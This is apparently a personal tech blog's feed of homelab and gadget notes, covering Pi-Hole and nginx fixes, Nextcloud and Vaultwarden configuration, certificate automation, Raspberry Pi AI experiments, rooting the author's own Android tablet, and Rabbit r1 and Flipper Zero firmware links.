GitHub: HeyWillow / willow: “Open source, local, and self-hosted Amazon Echo/Google Home competitive Voice Assistant alternative”
GitHub: adityachandelgit / BookLore: “BookLore is a web app for hosting, managing, and exploring books, with support for PDFs, eBooks, reading progress, metadata, and stats.”
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
YouTube: Ditch Your VPN! Twingate: The EASY Way to Access Your Home Server
- TwinGate
- Currently using WireGuard

Miscellaneous

I was having some issues with a Raspbian RasPi5 that I had to correct: Error: fastfetch: error while loading shared libraries: libm.so.6: ELF load command address/offset not page-aligned: Raspberry Pi Forums: Pi5: Error loading libtinfo.so.6: ELF load command address/offset not page-aligned
- load addesses with: “readelf -l /path/to/libtinfo.so.6”
- Add “kernel=kernel8.img” to “/boot/firmware/config.txt”
EFF: Meet Rayhunter: A New Open Source Tool from EFF to Detect Cellular Spying
- Just looked like a fun little project to do.
Pi-Hole + nginx (/admin, /api): The issue i was having was fixed by editing the “location” fields in the nginx config. I needed to include locations for “/admin” & “/api”, AND have those entries before the “/” location.
- Once I got that fixed, my homepage & Nebula Sync containers started working.
- There were a few other issues that I fixed & likely caused some of my issues: Using the wrong “kind” of password from the Pi-Hole API, & needing to enable webserver.api.app_sudo permission on the “replica” Pi-Hole, so that settings could be updated from the primary.
I was kicking myself for a bit because after moving & getting a new ISP, I wanted to use my out router instead of theirs. Turns out all i needed to do was contact them to put it bridge mode. It would have been a lot nicer had i been able to access an admin panel & do it myself, but at least that’s done with.
- I was also having some issues with DNS because the date & time were off on those boxes, so that needed to be fixed before DNS started working again.
Ollama & OpenWebUI: I tried running this on my RasPi5 + AI HAT+, but as I think i mentioned earlier, the performance wasn’t great, since the AI HAT doesn’t help LLM’s.
- Geshan Manandhar: How to use Ollama and Open WebUI with Docker Compose [Part 4]: This was a huge help to me eventually getting Open WebUI & Ollama working, but likely won’t be using it for now.
- Now I just have to look for some AI HAT+ projects with the camera to actually leverage it.

Pi-Hole v6 + nginx

Wed, 26 Mar 2025 12:02:00 -0400

This definitely took me way longer than it should have… but at least I finally have Homepage & Nebula Sync working with Pi-Hole v6

Some of the “tricky"parts that caused me a few hours of troubleshooting & headaches was because I use nginx as my reverse proxy & instead of Pi-Hole having a different setup that the rest of what’s running on that device, I wanted it to use nginx too.

The first thing I had to do was update my nginx config to include the below:

w33k in g33k: March 21, 2025

Fri, 21 Mar 2025 13:31:00 -0400

Most of today’s posts are things I’m noting from Ethan Sholly’s site: selfh.st by Ethan Sholly: This Week in Self-Hosted (21 March 2025)

GitHub: LukeGus \ Termix: Termix is an open-source forever free self-hosted server management panel
GitHub: orayemre \ Notemod: Note-Taking App Free & Open Source
GitHub: hamzasaleem2 \ subra-local: Manage and track all your subscriptions in one place. Take control of your recurring expenses with Subra’s powerful subscription management tools.
GitHub: jt196 \ vanilla-cookbook: Vanilla Cookbook is a self hosted recipe manager built with Svelte(kit). It is designed with complexity under the hood, keeping the user experience as vanilla as possible.
GitHub: openbao \ openbao: OpenBao exists to provide a software solution to manage, store, and distribute sensitive data including secrets, certificates, and keys.
Homepage: Hoarder Widget: A Hoarder widget is now available, so I was trying to get that setup.

widget:
  type: hoarder
  url: http[s]://hoarder.host.or.ip[:port]
  key: hoarderapikey

Akash Rajpurohit: n8n — Powerful automation for your homelab services
YouTube: Lawrence Systems: Getting Up & Running with Ollama
YouTube: Christian Lempa: My NEW Homeserver for AI + Power efficiency
YouTube: John Hammond: ms teams is now a C2 (command-and-control)
GitHub: ronaldl29 public-domain-recipes: A recipe website with no backstories, ads, or trackers.
- Not really tech \ g33k related, but i thought it was interesting, so here it is 🙃
Arducam Wiki: 16MP IMX519: I picked up this camera to try & use with my RasPi5 with AI HAT+ since I seem to be having issues with the original one i bought: Amazon: Freenove 8MP Camera. We’ll see if that makes a difference & if i can come up with an actual use for the HAT since it’s not meant for local LLM’s.
- Again… if I had done more research ahead of time, could have found things like this: /r/ollama: Ollama models on Raspberry Pi AI Hat & Pi 5. And specifically about the Hailo-10H M.2 Generative AI Acceleration Module
- Buy Zero: DeepSeek on Raspberry Pi 5 (16GB): A Step-by-Step Guide to Local LLM Inference
Check for processes listening on a specific port: lsof -i :$portNumber
Having to fix Pi-Hole + nginx: I had to edit the nginx config to get icons working. In the server {} block, I added this line: add_header Content-Security-Policy "default-src 'self'; style-src 'self' 'nonce-{notSureIfThisNonceIsUniqueToMeOrPiHoleSoRemovingIt}='; style-src-attr 'self' 'nonce-{notSureIfThisNonceIsUniqueToMeOrPiHoleSoRemovingIt}'";
I will be moving soon & have been trying to plan out my home network… Going from a /24 & think I’ll go with a /16, & split by client type. i.e.: Networking infrastructure, servers, clients, wireless, guests, etc.
After upgrading Pi-hole to version 6, i can’t get my Homepage Pi-hole widget working anymore. So I’m still digging into that…

widget:
  type: pihole
  url: http://pi.hole.or.ip
  version: 6 # required if running v6 or higher, defaults to 5
  key: yourpiholeapikey # optional, in v6 can be your password or app password

I rebuilt the “server” where I was running Proxmox just because i wasn’t getting any benefit out of it. I’m sure running it on actual server hardware would have made it more worth it, but for now I’m just going back to Ubuntu Server on that host, & directly use Docker. Previously I was running Proxmox, then an Ubuntu VM, then Docker in there… so this is just taking the overhead out.
- I did run into some trouble at first, but manually wiping the partitions before starting the Ubuntu Server install seemed to have fix the problem.
- Used my usual guide for setting up nginx + ModSecurity: LinuxBabe: How to Set Up ModSecurity with Apache on Debian/Ubuntu. Some of the versions are out-of-date, but after updating those parts it is extremely helpful each time I’ve used it.
- I had setup Docker in rootless mode, so I’m not sure if that’s what lead to issues with me trying to get Portainer running. Looks like I’ll be reviewing that this weekend =]

Raspberry Pi AI HAT+

Thu, 20 Mar 2025 17:09:00 -0400

So i picked up a 16GB Raspberry Pi 5 with the AI HAT+ to play around with AI a bit, before seeing that it’s meant to mainly be used with identifying objects or positions through the camera? I was having a problem getting the camera working anyway, but I was really hoping I would be able to use it for a local LLM with Ollama, & point something like Hoarder at it to see how it did. Unfortunately, because I didn’t read enough ahead of time, it doesn’t look like that is currently possible… so i’m going to have to try & figure out another use for the device.

Week of February 02, 2025

Sun, 02 Feb 2025 22:07:00 -0400

Ideas

Track Awesome Selfhosted Updates Daily: Checking this is usually the highlight of my Friday, since I get can new ideas here.
GitHub: revenz \ Fenrus: If i wanted to try out a new home page option.
GitHub: notclickable-jordan \ starbase-80: Might want to look into this if it kind of watches Docker.
Librum: Maybe an easier alternative to Calibre \ Calibre-Web?
- GitHub: Librum-Reader \ Librum-Server
Leon: “Leon is your open-source personal assistant who can live on your server. He does stuff when you ask him to.”
- GitHub: leon-ai \ leon

Week in g33k: February 01, 2025

Sat, 01 Feb 2025 00:00:00 -0400

AI \ LLM

With all the hype around DeepSeek, I wanted to give it a try but wasn’t interested in providing my Apple or Google accounts for sign-in, nor providing my phone number… so i just looked into running the model locally. I had run Ollama in the past but didn’t do much with it, so I had to look into that again:
- It’s FOSS: I Ran Deepseek R1 on Raspberry Pi 5 and No, it Wasn’t 200 tokens/s: I believe I ordered the Raspberry Pi AI HAT because why not… but don’t have it yet to test.
- It’s FOSS: Run LLMs Locally on Raspberry Pi Using Ollama AI
One reason I was trying to run an AI model locally was to try & get something where I could put all of my personal build notes, & be able to ask questions against it if I came across similar problems in the future. So that will likely be the next project I start on…
- It’s FOSS: Setting Up PrivateGPT to Use AI Chat With Your Documents
- PrivateGPT: Quickstart

Docker

Since i setup my Proxmox install with a VM meant for Docker, I tried to find something simple to run out of there as a test. I decided to go with Watcharr & things seemed to have gone well. The VM took a little bit of setup because I wanted to get my nginx configs, certbot, etc running, but now that it’s all setup, it was worth the work.
After getting all my Docker instances into Homepage, I wanted to start looking into securing the API instead of leaving it open… I’m going to have to revisit this because it seems like it’s more complicated than it should be, but here i am. Until I can get that secured, I’m using the Portainer Agent in places where that’s possible.
- Linux Handbook: How to Set Up Remote Access to Docker Daemon [Detailed Guide]: The problem with this guide is that it looks like this is just to setup one remote host. What if I have multiple?
- GitHub: portainer / portainer: Support connecting to endpoint via integrated SSH client #431

New Site Logo

Wed, 29 Jan 2025 21:17:00 -0400

I wish I could find something between my “original” one & something like this:

Fixing Icons in Vaultwarden

Wed, 29 Jan 2025 08:07:00 -0400

For the last week(?) or so, I noticed that i was no longer seeing icons in my Bitwarden client that is connected to my Vaultwarden install. This morning I finally decided to look into it & see how to fix it. It actually took shorter than I was expecting.

I have my local services behind nginx, & just needed to make a quick update to my config, thanks to a comment by BlackDex here: GitHub: dani-garcia / vaultwarden No Icons in Desktop Clients with Vaultwarden 1.33.0 #5452

Week Ending January 25, 2025

Thu, 23 Jan 2025 13:00:00 -0400

Still have some time left in the week, but figured I would start to put together some of the things I was working on.
Reinstalled Proxmox again on one of my hosts to see if I want to plan to move to that method of management vs. Ubuntu Server + Docker
- So far I haven’t done that much with it, just talking over a coworker’s setup to see if I can mirror that, but I wasn’t expecting to be leveraging VM’s + Docker within there vs. the LXC containers. If that’s the best way (because of the ability to do snapshots, etc), then I’m going to give it a try. I’m going to need to see about backups as well, since I would need to access the files on the drive of the VM vs. direct access like I have with Ubuntu Server.
- I did use a helper script to reconfigure a few things after the base install: GitHub: community-scripts \ ProxmoxVE
- I was able to get Proxmox into Homepage: gethomepage \ homepage: docs/widgets/services/proxmox.md
- Additional Reading: XDA: How I use Docker with Proxmox for the perfect home lab duo
- Tim Kye: Installing Servarr Stack with Docker Compose
Got ACME working on my OpenWrt router so that it can get certificates from my internal Step-CA server on its own.
- Command to generate the certificate in the first place:

/usr/lib/acme/client/acme.sh -d openwrt42.domain.tld --keylength 4096 --accountemail Administrator@domain.otherTLD --server https://ca.home.tld:port/acme/acme/directory --days 7 --standalone --listen-v6 --issue --home /etc/acme --pre-hook "service uhttpd stop" --post-hook "service uhttpd start" --force

- I’m going to have to double check the renewal process to make sure that uhttpd is stopped before & started after getting a cert, otherwise it was very similar to certbot on my other hosts.
Cleaned up some of my docker-compose.yml files (well, edited through Portainer) to actually look at all my external drives for media.
- Since Plex likes movies to be in individual folders (instead of alphabetical, A-Z like I used to have) I had to work on that. I found the script below that will take all of the individual movie files & create folders for them, then move the file in there. the one issue is trying to get it to also move the subtitle files into that same folder so it doesn’t have to be done manually:

for f in *.(mp4|mkv|avi|mov|flv|en.srt)(N); do
    if [ -e "$f" ]; then
        mkdir "${f%.*}"
        mv "$f" "${f%.*}"
    fi
done

- I also had a command to swap colons for hyphens, just to clean that up: find . -depth -name '*:*' -exec bash -c 'mv "$0" "${0//:/-}"' {} \;
Flipper custom firmware updates for my devices:
- GitHub: DarkFlippers / unleashed-firmware
- GitHub: RogueMaster / flipperzero-firmware-wPlugins
- Momentum Firmware
I updated my Pixel Tablet to LineageOS 22.1 & even though i flashed Gapps & the Magisk-modified boot.img, I still lost root through Magisk.
- I did make a post on it, but I believe the issue was that I was supposed to patch init_boot.img instead of boot.img: v3ritas.TECH: Magisk-patched Boot for Pixel Tablet

Magisk-patched Boot for Pixel Tablet

Sun, 19 Jan 2025 02:05:00 -0400

Magisk-patched Boot for Pixel Tablet

January 19, 2025

Just following up to an older post about getting root on the Pixel Tablet with Magisk: Upgrading LineageOS Ma
Instead of using Magisk to patch & flash boot.img, you are doing it to init_boot.img.
Magisk: Installation: Patching Images: Use the Magisk app to patch init_boot.img, reboot to the bootloader, flash the modified image:

adb reboot bootloader
fastboot flash --slot all init_boot magisk_patched-28100_<<random_string>>.img
fastboot reboot

When the device boots, it should now be rooted again.

Adding Trusted Domains to Nextcloud

Thu, 09 Jan 2025 00:00:00 -0400

January 09, 2025

I recently started setting up Cerbot to automate certificate renewals because I was tired of doing it manually, & I couldn’t figure out caddy or traefik proxy.
After getting Step CA configured in Docker & playing around with that a little bit, I was able to start manually getting new certificates (created a new root CA instead of trying to import my existing) to make sure everything was working. For whatever reason, I had always run my nginx proxies on port 9443 instead of 443, which I believe did give me some problems with the verification needed by Step CA. So while updating my nginx configs to now accept traffic on port 443 for the verification, I also then had to update the certificate being used. For my “servers” that have nginx only (i.e.: Not my Pi-Hole boxes that have Apache too…), the change to 443 was not a problem. I do have some workarounds for the Pi-Hole devices.
Well, after the above, I tried to start using Nextcloud on 443 but had a problem because it was not a trusted host. I run my Nextcloud instance in Docker, so it wasn’t as simple as editing config.php or straight-forward occ commands. This was ultimately how I was able to add another “trusted host”:

# Check for the current list of trusted hosts:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:get trusted_domains

# Add a third trusted host:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:set trusted_domains 3 --value <<sub.domain.tld>>

# Verify the domain was added:
docker exec --user www-data <<container_name>> /var/www/html/occ config:system:get trusted_domains

I was able to get the details from the Nextcloud documentation (another RTFM moment) to get the exact syntax: Nextcloud Configuration: Using the occ command: Setting an array configuration value

Site Logos

Thu, 26 Dec 2024 00:00:00 +0000

I’m going through what I want my site logo to be, or see if I stick with the old one?

Clicks Keyboard for iPhone

Tue, 10 Dec 2024 00:00:00 -0400

Clicks Keyboard for iPhone

December 10, 2024

I want to start getting back into the habit of making posts, so figured I’d start with this.
I’m still playing around with it, but I’m enjoying the keyboard so far. Only issue I’ve run into is needing to disable one of the settings that set the spacebar to “activate” a field, which pretty much meant I couldn’t use a space in Safari or Firefox (only two I tried). After disabling that, everything worked as expected.
I’m going to start playing around with Shortcuts & see what useful ones I can find or come up with to make the keyboard more useful. I am still getting used to how tall it makes the phone, especially when it’s already on a MAX, but we’ll see how that pans out.

Moving from WordPress to Grav

Sun, 08 Dec 2024 00:00:00 +0000

Moving from WordPress to Grav

December 08, 2024 After coming across Grav I decided to try this instead of WordPress. I’m apparently going all-in on it because while I did make a backup of my WordPress site, I have completely removed it in favor of Grav.

I used a tool to convert the WordPress XML backup to markdown files & there is work I need to do to get it working 100%, but this seems to be good enough for now: GitHub: XARP616 / wordpress-export-to-grav

Rabbit r1 Jailbreak Tools

Tue, 16 Jul 2024 00:00:00 +0000

I just wanted to make note of some r1 jailbreak details.

David Buchanan: Jailbreaking RabbitOS (The Hard Way)

carroot: rabbitOS tethered jailbreak

Rabbit r1 Jailbreak

Thu, 11 Jul 2024 00:00:00 +0000

I haven’t tried it yet, but just saw someone mention an r1 jailbreak that doesn’t modify any partitions so shouldn’t affect OTA updates. It’s also tethered, meaning if or when the device reboots, it’s back to stock (which isn’t necessarily a bad thing).

In case anyone was interested: RabbitOS Jailbreak

Playdate Resources

Sun, 07 Jul 2024 00:00:00 +0000

Making note of a few things I came across recently for the Playdate:
- GameKid
- itch.io: Game Boy & Homebrew
- GitHub: sayhiben / awesome-playdate

Instructions to get stock Android or LineageOS21 on the Rabbit r1 (July 2024)

Fri, 05 Jul 2024 00:00:00 +0000

A few people have been running into issues while trying to get stock Android or LineageOS on their Rabbit r1’s, so I was trying to flesh out some of the documentation: GitHub Gist: veritas06 / Rabbit_r1-Android_Guide.md.

Instead of doing GitHub Gists, I’m thinking it will be a lot easier if we have a Wiki that others can be editing \ modifying as needed, so will look into that. Otherwise for now, maybe I’ll stick with Gists or something temporary here, that can then be moved to a more official one.

RabbitOS 20240615.10/0.8.103(134D8EC)

Fri, 21 Jun 2024 00:00:00 +0000

New OS update for the Rabbit r1 yesterday, & I used mtkclient to dump the partitions.

8d90cef56716fe4da3f6e35087abf27823a356539ab44b53a33cbd616435d2cb boot_a.bin
4aa150165d37e99b83c8e83661665874f22f164f6cbc0092a02b3eb9ea4e977c boot_b.bin
535c6307fb70fd6f008f8379c56554a7750de16acff415cd2a352c40bc5047ba boot_para.bin
0f56effef139082e47297e7f6c9427450199f5beca6975779b2ce8976bff9650 dtbo_a.bin
55cef839054a02af813cdfe82199bf49737bfa75778919c555144ea788d7139c dtbo_b.bin
fb3764aeb7d306f13448af11448ff416cfd226f5c0680c296c30b152ddfbb048 expdb.bin
73320a263ee7fc5e89c27b87f8eb6bb2d809a9953427ca5e7da4d344a9f45b44 flashinfo.bin
eccfa95f82fcbfbf9c15a9f2f50749a33b6fd5d66604c0768ec8daa1612e7a36 frp.bin
4400493b16da7dde7dd7263e2a7cf2eba08f5d6d83e8dc23f08ee4f721b7845d gpt_backup.bin
53454323d72f140b76d13ffb1928b11ae4c630ed659d88abfd10b7404a047f6b gpt.bin
65a08ae8495be8d930e0e187e76e3b45ebf740a9f565f7e532444ec8731a0480 gz_a.bin
996201bf7deaeb1b4ede1c3c6c744ecded67e3085d1fbed1669d01401e7198ed gz_b.bin
2daeb1f36095b44b318410b3f4e8b5d989dcc7bb023d1426c492dab0a3053e74 init_boot_a.bin
2daeb1f36095b44b318410b3f4e8b5d989dcc7bb023d1426c492dab0a3053e74 init_boot_b.bin
74a020b1ecb9afab0f4298818559c56fd74b3a598dddce72b14a1c379071886f lk_a.bin
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256fd193d706359d42d0058690af3add3f8dd7780fdb9b2755ee271b78987527 vbmeta_system_a.bin
f1f770f42d7c1d68387f7baefc05ec604d8bf63f09a306db3ab5e2716480be9c vbmeta_system_b.bin
5dba0ff81223fec5b8187fe0d9da59a2c159c696feea32c405124a10d0e93fdb vbmeta_vendor_a.bin
5b87cf303e856b48320a7da7003c9b2dee18232ddd716ea8e9b1290d1b65ca08 vbmeta_vendor_b.bin
3b6a07d0d404fab4e23b6d34bc6696a6a312dd92821332385e5af7c01c421351 vendor_boot_a.bin
3b6a07d0d404fab4e23b6d34bc6696a6a312dd92821332385e5af7c01c421351 vendor_boot_b.bin

Hoping to be able to get Magisk working at some point… haven’t had much luck with it recently.

Android Authority: "Rabbit R1, a thing that should just be an app, actually is just an Android app (Updated)"

Wed, 01 May 2024 00:00:00 +0000

Ouch… so it looks like Rabbit isn’t have a good day. And right around when the devices are getting delivered (which probably isn’t a coincidence).

See, it turns out that the Rabbit R1 seems to run Android under the hood and the entire interface users interact with is powered by a single Android app. A tipster shared the Rabbit R1’s launcher APK with us, and with a bit of tinkering, we managed to install it on an Android phone, specifically a Pixel 6a.

Upgrading LineageOS + Magisk

Fri, 26 Apr 2024 00:00:00 +0000

Making a note for myself because I spent like an hour trying to figure this out…

I’m running LineageOS 21 (Android 14) & just had an OS upgrade. Problem was that I rebooted when the process was done instead of having Magisk flash to the inactive slot, meaning I’m not rooted when my tablet starts back up.

Instead of patching & flashing the boot partition, on the Pixel Tablet you’re following the same guide but with init_boot instead of boot.

More WordPress Issues =]

Wed, 24 Apr 2024 00:00:00 +0000

Apparently I’m still having issues with some themes in WordPress just failing to get the site to load… I should probably just see about getting a backup of everything, wiping, & starting clean in case it’s just residual settings from previous themes & upgrades. We’ll see how that goes.

WordPress Issues...

Sun, 03 Mar 2024 00:00:00 +0000

This seems to be a recurring theme… no pun intended. I was trying to edit or switch my theme from Libre because I had just a blank column down the side that I finally wanted to address. That led to trying multiple different themes, before finally settling on this one, at least for now…

The M1: A Compact Multitool for Technophiles & Hackers

Thu, 22 Feb 2024 00:00:00 +0000

A friend mentioned this to me & of course I had to back the device, since it looks like a Flipper alternative, but has Wi-Fi built into their board. I’ll admit, I do still need to read all of their details, but if the community here is anything like Flipper’s, & for only $119 on Kickstarter, I thought it would be a fun device to play with.

FediCard: Fediverse Trading Cards

Wed, 21 Feb 2024 00:00:00 +0000

I found this thanks to a post on Lemmy: WeDeliver.org: Get Your Own Fediverse Trading Cards!

There are plenty customization options to choose, & because of that I know I’ll probably end up making a few of these…

AFlipper Zero Transparen

Wed, 18 Oct 2023 00:00:00 -0400

Did I really need a transparent Flipper? No… but I did end up ordering one which let me look over some other custom firmwares that are available for the Flipper.

I was looking over the CFW’s listed here: GitHub: djsime1 / awesome-flipperzero / Firmwares.md

I’ve typically always stuck with Unleashed or RogueMaster’s CFW, but figured I would try something different here & decided on Xtreme (GitHub). I never really noticed that much instability with RogueMaster’s, but still wanted to try something different with Xtreme. I’m working on flashing it now, however I seem to be getting hung on the “Updating resources” step, so may need to debug that a little bit. I’ll have to see how this compares to the other CFW’s I’ve used, & if i plan to stick with it.

Android 13 Pixel Experience on Surface Duo

Fri, 21 Jul 2023 00:00:00 -0400

Details on getting this running, now that it was finally released!

The instructions & system.img can be accessed in XDA: [A13] Pixel Experience GSI for Surface Duo.

I chose to flash the system.img versus the DSU Sideloader method. It’s been a little while since I’ve played around with Android & custom ROM’s so it took longer than usual to figure it out, but i did get it working. I’m making note of the process mainly for myself, but also in case anyone else needs a hint or two.

A Countdown Widget for Scriptable (iOS)

Fri, 02 Jun 2023 00:00:00 -0400

I was trying to make a simple countdown widget to be used on my iPhone lockscreen, but couldn’t find one exactly like what I was looking for. I just ended up modifying this one: GitHub: ferminrp / scriptable-countdown-widget.

My modified version is at: GitHub: veritas06 / scriptable-countdown-widget.

Surface Go (LTE) with Linux

Fri, 02 Jun 2023 00:00:00 -0400

Woot or some other deal site had a Surface Go 1 (with LTE) on sale & figured I’d pick it up for fun. After doing a quick search, I came across the Linux Surface GitHub repo again & saw that even the LTE piece should work with a little modification. I usually jump between Ubuntu flavors (usually Xubuntu since it’s a bit lighter) & Linux Mint; this time I was Xubuntu.

Wordpress Issues...

Fri, 02 Jun 2023 00:00:00 -0400

Since last night I’ve been fighting with a problem on the site… Which is related to …/wp-includes/formatting.php, specifically the convert_smilies function. I ended up just having to adjust the $stop variable to “0”, at least until I can get it permanently figured out. And right now the content of posts aren’t loading, so there is still more to fix.

EDIT: June 03, 2023: Okay, so I may have finally gotten it working… I did use the Web UI to re-install WordPress 6.2.2, & I was still seeing errors related to the convert_smilies function again & finally found an answer that helped me get things running again (at least for now…): StackOverflow: base64_encode conflict with convert_smilies in wordpress. The answer about editing the .../v3ritas.tech/wp-includes/formatting.php file, & adding: remove_filter( 'the_content', 'convert_smilies', 20 );

Using ModSecurity Rules with nginx

Wed, 31 May 2023 00:00:00 -0400

I wanted to make note of this page, because it was a huge help getting the ModSecurity OWASP rule set working with nginx.

LinuxBabe: How to Set Up ModSecurity with Nginx on Debian/Ubuntu

Then to start exempting specific pages from specific rule ID’s, you’ll using these three commands quite a bit:

`tailf /var/log/modsec_audit.log`
`sudo nano /etc/nginx/modsec/coreruleset-3.3.4/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf`
`sudo nginx -t`
`sudo systemctl reload nginx`

Dergnz: Fun things to try with your Flipper Zero (and wifi devboard

Fri, 21 Apr 2023 00:00:00 -0400

I’ve had a tab with this site open in my browser for weeks so I don’t forget to go to it, but still haven’t had time to sit down & go through it, to see what I might want to try. So I might as well drop it here as a reminder & in case anyone else wants to check it out.

Dergnz: Fun things to try with your Flipper Zero (and wifi devboard)

Mozilla SSL Configuration Generator

Sat, 15 Apr 2023 00:00:00 -0400

I came across this while configure some local services using nginx, & wanted to make note of it: Mozilla SSL Configuration Generator.

Fun with Flipper Zero

Fri, 15 Jul 2022 00:00:00 -0400

I’m trying to play around more with my Flipper Zero, especially since I came across info on custom firmware to unlock some extra features with the device. The install was extremely simple, just using the qFlipper application to flash the CFW: GitHub: RogueMaster / flipperzero-firmware-wPlugins.

There were a few extra steps to take after flashing, but as long as you read the instructions provided, it should work fine. I still have to play around with it a bit & see what else I can do with it, but I will definitely be reading \ loading most of what’s available through RogueMaster’s awesome-flipperzero-withModules GitHub repo.

Xbox App: "Administrator approval required for installation."

Sat, 29 Jan 2022 00:00:00 -0400

So I got a new gaming computer last year, & as usual when I’m running Windows, I don’t login with a user account that has administrator rights. Instead, I login with a regular user account, & if I need to do something as admin, I’m either prompted (i.e.: Installing MSI’s) or I can “Run as administrator” through the context menu. Well it looks like that plan has a hole when trying to use the native win10\win11 Xbox app, & to install at least some games, the two I’m finding now are Halo Infinite & Halo: The Master Chief collection.

Fun Projects: Ubuntu Touch & LuneOS

Fri, 27 Aug 2021 00:00:00 -0400

Two things I’m currently working on: - Ubuntu Touch on my old Nexus 6P, just to see how it’s coming along. I did need to reference this comment in order to get mine booting properly.
- LuneOS on my old HP TouchPad… Which is giving me some problems. It started off rough because I was trying to find some files that were released between 2011-2014, & then trying to get them running… Then once I finally got that done, I still wasn’t able to get LuneOS to boot. Here are some of the files I collected while working on this:

webOS Resource

Tue, 10 Aug 2021 00:00:00 -0400

Just making note of some webOS tools \ resources that could be useful as I start playing with my HP TouchPad (Tenderloin) again. Specifically, I want to install LuneOS on my device.

➜  webOS ls -lah
total 744704
drwxr-xr-x  5 smc  staff   160B Aug  9 22:53 .
drwx------+ 8 smc  staff   256B Aug  9 22:53 ..
-rw-r--r--@ 1 smc  staff   352M Aug  5 11:11 Palm_webOS_SDK.3.0.5.676.dmg
-rw-r--r--@ 1 smc  staff    12M Aug  5 12:09 WebOSQuickInstall-4.6.0.jar
-rw-r--r--@ 1 smc  staff    78K Aug  5 11:27 org.webosinternals.tailor_0.3.1_all.ipk.zip
➜  webOS sha256 *
SHA256(Palm_webOS_SDK.3.0.5.676.dmg)= c2cd8346fd8e92e7090766652160879b0416ee1d4922d4942159c8c33442464f
SHA256(WebOSQuickInstall-4.6.0.jar)= 3dec2ca6b724a763a69019c6e0ed1803f4a12e8809bbe79eb80595b7819d5d00
SHA256(org.webosinternals.tailor_0.3.1_all.ipk.zip)= 9cdbef200daf21ea33fff883ac42809c80a204d7d562aa5ec6126b3fbaa728fd
➜  webOS

org.webosinternals.tailor_0.3.1_all.ipk.zip: Needed this version because it has options included for LuneOS.
Palm_webOS_SDK.3.0.5.676.dmg
WebOSQuickInstall-4.6.0.jar: I didn’t actually need this, but downloaded it because I was nostalgic.

Malwarebytes Labs: Relax. Internet password books are OK

Thu, 18 Mar 2021 00:00:00 -0400

Source: Malwarebytes Labs: Relax. Internet password books are OK

So this was posted on April Fools’ Day, but I do believe it’s a serious post & I agree with the content. The author brings up the point early: Whether using a physical password book is a good thing depends on your threat model & risk. If you are not good with computers & can’t figure out how to use a password manager (see some of my other posts about passwords: Don’t Change that Pa$$w0rd, FINALLY: A Good Password Management Article, & ANOTHER GOOD article about passwords) & you don’t have to worry about someone you live with abusing access to the book, then this is a great way to store passwords without remembering them or re-using the same one over & over. Having the details saved in a book that’s kept in a drawer at your desk is a good way for some people to store different passwords. And it would obviously stay safer if the book stays at home, versus keeping it with you at all times & potentially losing it while out & about. That of course leads to other questions like “What do I do if I am away from home & need a password?”, but that will have to be answered by the user: Is it worth carrying the book with you at all times or is it really something that can wait until you get home & can access the book.

The Hacker News: Google Reveals What Personal Data Chrome and Its Apps Collect On You

Thu, 18 Mar 2021 00:00:00 -0400

Source: The Hacker News: Google Reveals What Personal Data Chrome and Its Apps Collect On You

And this is why I avoid using Chrome where possible:

Reasons why I run a network-wide adblocker..

Sun, 14 Feb 2021 00:00:00 -0400

In the last 24 hours…

Screenshot from Pi-Hole dashboard

For anyone else looking to run a network-wide adblocker, I recommend Pi-Hole. I have also recently started testing out AdGuard Home & will see in the long run if I decide to switch, or just leave it as a backup.

I run Pi-Hole as my primary DNS & DHCP server with an excessive number of blocklists (totaling ~4.5m blocked sites) & have no issues with it. I only started looking into AdGuard Home after a resource issue on my original Pi-Hole (it seems when I added Resilio Sync to my Pi, the system would lock up). So, I decided to replace RasPi 3 B+ with a RasPi 4, 8GB, & turn the original 3+ into the secondary AdGuard DNS server.

Goodbye Google Fi & Android

Sat, 19 Dec 2020 00:00:00 -0400

I find it pretty ironic that Google Fi is the reason I’m leaving Android as well. Whether it’s because of an actual Fi issue or juts a tower issue in my area, that caused me to finally switch off of Fi (something I’ve been meaning to do anyway), & I decided to switch to an iPhone to get more use out of my phone, but also so I could actually still communicate with some people on iMessage.

iOS14 Charger Connect & Disconnect Sounds

Mon, 21 Sep 2020 00:00:00 -0400

This seems to be very popular with the release of iOS14, & I’m writing this up as a personal reference so I don’t have to continue to watch the great setup video that u/zeeshan_02 posted on Reddit: Beginner’s Guide on Playing a Custom Sound when Connected to Charger!

Shortcut 01: Encode Audio This converts a sound file (in my case I was using an MP3) to Base64, for later use by the next shortcut:

Super Mario 64 Natively on Android

Sun, 20 Sep 2020 00:00:00 -0400

Found a post on XDA about building Super Mario 64 for Android using Termux, & figured I’d try it out for fun.
Source: XDA Developers: Super Mario 64 can be natively run on Android without a Nintendo 64 emulator

Their instructions worked fine, so below is really just a copy & paste from the XDA post:

➜  ~ pkg install git wget make python getconf zip apksigner clang
Checking availability of current mirror: ok
Reading package lists... Done
Building dependency tree       
Reading state information... Done
apksigner is already the newest version (29.0.2-5).
clang is already the newest version (10.0.1-2).
getconf is already the newest version (0.5-1).
git is already the newest version (2.28.0).
make is already the newest version (4.3-1).
python is already the newest version (3.8.5).
wget is already the newest version (1.20.3-3).
zip is already the newest version (3.0-5).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
➜  ~ cd Development 
➜  Development git clone https://github.com/VDavid003/sm64-port-android
Cloning into 'sm64-port-android'...
remote: Enumerating objects: 15616, done.
remote: Total 15616 (delta 0), reused 0 (delta 0), pack-reused 15616
Receiving objects: 100% (15616/15616), 22.76 MiB | 5.71 MiB/s, done.
Resolving deltas: 100% (7567/7567), done.
➜  Development cd sm64-port-android 
➜  sm64-port-android git:(master) cp ~/storage/shared/Super\ Mario\ 64\ \(USA\).z64 baserom.us.z64
➜  sm64-port-android git:(master) sha256 baserom.us.z64 
The program openssl is not installed. Install it by executing:
 pkg install openssl-tool
➜  sm64-port-android git:(master) pkg install openssl-tool
Checking availability of current mirror: ok
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  openssl-tool
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 185 kB of archives.
After this operation, 643 kB of additional disk space will be used.
Get:1 https://dl.bintray.com/termux/termux-packages-24 stable/main aarch64 openssl-tool aarch64 1.1.1g-4 [185 kB]
Fetched 185 kB in 0s (214 kB/s)    
Selecting previously unselected package openssl-tool.
(Reading database ... 14219 files and directories currently installed.)
Preparing to unpack .../openssl-tool_1.1.1g-4_aarch64.deb ...
Unpacking openssl-tool (1.1.1g-4) ...
